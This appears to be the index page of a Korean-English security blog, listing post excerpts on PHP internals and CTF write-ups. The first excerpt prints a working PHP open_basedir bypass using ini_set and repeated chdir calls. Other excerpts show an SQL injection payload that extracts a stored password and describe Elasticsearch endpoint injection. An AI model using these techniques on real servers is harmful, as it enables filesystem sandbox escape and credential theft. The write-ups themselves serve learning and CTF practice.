| by munsiwoo | 12 comments

Awesome PHP open_basedir bypass

@Blaklis_ 트윗에 open_basedir를 우회하는 새로운 방법이 올라왔다. Here is an awesome PHP open_basedir bypass by @Blaklis_ You are open_basedir’ed to /var/www/html Change into a sub-directory. ini_set(‘open_basedir’, ‘..’) chdir(‘..’);chdir(‘..’);chdir(‘..’);…. ini_set(‘open_basedir’,’/’) open_basedir is now set to /, enjoy Example code <?php ini_set(‘open_basedir’, ‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); ini_set(‘open_basedir’, ‘/’); 원문 : […]

Read More
| by munsiwoo | No comments

[ASIS CTF/Dead engine] Elasticsearch Injection

요약 ASIS CTF의 Dead engine이라는 웹 문제다. Elasticsearch를 사용하고 있는 사이트에서 NoSQL Injection을 통해 플래그를 얻는 문제였다. Elasticsearch 환경은 처음이라 열심히 검색하면서 풀었는데 복습 겸 간단히 풀이만 적어본다. 풀이 우선 q, endpoint 이렇게 2개의 입력을 받아서 내부 검색 엔진으로 요청해주는 구조였다. 입력: q=abcd&endpoint=/articles/_search 내부 요청: http://localhost:9300/articles/_search?q=abcd 이렇게 http://localhost:9300{endpoint}?q={q} 각각 입력이 들어간다. endpoint를 조작하면 맘대로 검색 […]

Read More
| by munsiwoo | 1 comment

2019 코드게이트 발표 후기

내가 준비한 주제는 Zend엔진(PHP 인터프리터) 오픈소스 오디팅을 통해 널리 알려진 PHP 트릭이 발생하는 이유와 분석 과정을 설명하며 그 중 취약점으로 웹해킹에 사용될 수 있는 버그에 대해 다뤄보는 주제였다. 작년 세미나를 생각하고 약 40분 분량의 발표 자료를 준비했는데, 올해는 발표 시간이 25분으로 줄어들어서 발표 자료 페이지 편집하느라 힘들었다. 겨우 내용 추려서 리허설땐 나름 만족스럽게 끝냈는데, 본 […]

Read More
| by munsiwoo | No comments

Protected: gdb (peda)

There is no excerpt because this is a protected post.

Read More
| by munsiwoo | No comments

Race condition vulnerability in PHP (feat. 고등해커)

고등해커는 올해 처음으로 학생이 주도 및 운영해본 교내 CTF입니다. 저는 CTF플랫폼 제작과 웹 문제 출제를 담당했으며, 출제한 문제 중 친구들이 재밌게 풀어준 count라는 문제에 대해 간단히 풀이를 작성해보겠습니다. count는 PHP의 파일 입출력에서 발생할 수 있는 레이스컨디션 문제이며, flag를 얻는 것이 불가능해보이는 상황에서 레이스컨디션 공격을 이해하고 flag를 획득할 수 있는지 묻는 간단한 문제였습니다. 다음은 문제의 소스코드입니다. […]

Read More
| by munsiwoo | 1 comment

PHP 컴파일, 실행 bash 스크립트

#!/bin/bash # data: 2019-01-29 # made by munsiwoo echo php compile and run PHP_PATH=”/php/php-7.0.30″ if [ -f /usr/local/bin/php ]; then rm -rf /usr/local/bin/php fi if [ -f /usr/local/lib/php ]; then rm /usr/local/lib/php fi if [ -f /usr/local/include/php ]; then rm /usr/local/include/php fi make –directory=$PHP_PATH > make.log make install –directory=$PHP_PATH > make_install.log if [ -f test.php […]

Read More
| by munsiwoo | No comments

museum.php.net

조만간 업데이트될 PHP 분석 기행기를 쓰면서 찾았다. http://museum.php.net : PHP 종류별로 다 설치할 수 있다.

Read More
| by munsiwoo | 1 comment

2018 ROOT CTF Write up

munswings, 아쉽게 4등했다. Web – Blind man (932pts) 회원가입의 pw부분에서 sqli가 발생하며 인젝션 포인트는 다음과 같다. insert into user (id, pw) values (‘asdf’, ‘{inject point}’); 여기서 ‘),(‘munsiwoo’, (select pw from user x limit 0,1)like’a%  이런식으로 넣는다면 insert into user (id, pw) values (‘asdf’, ”),(‘munsiwoo’, (select pw from user x limit 0,1)like’a%’); 위와 같은 쿼리가 완성되고, munsiwoo라는 […]

Read More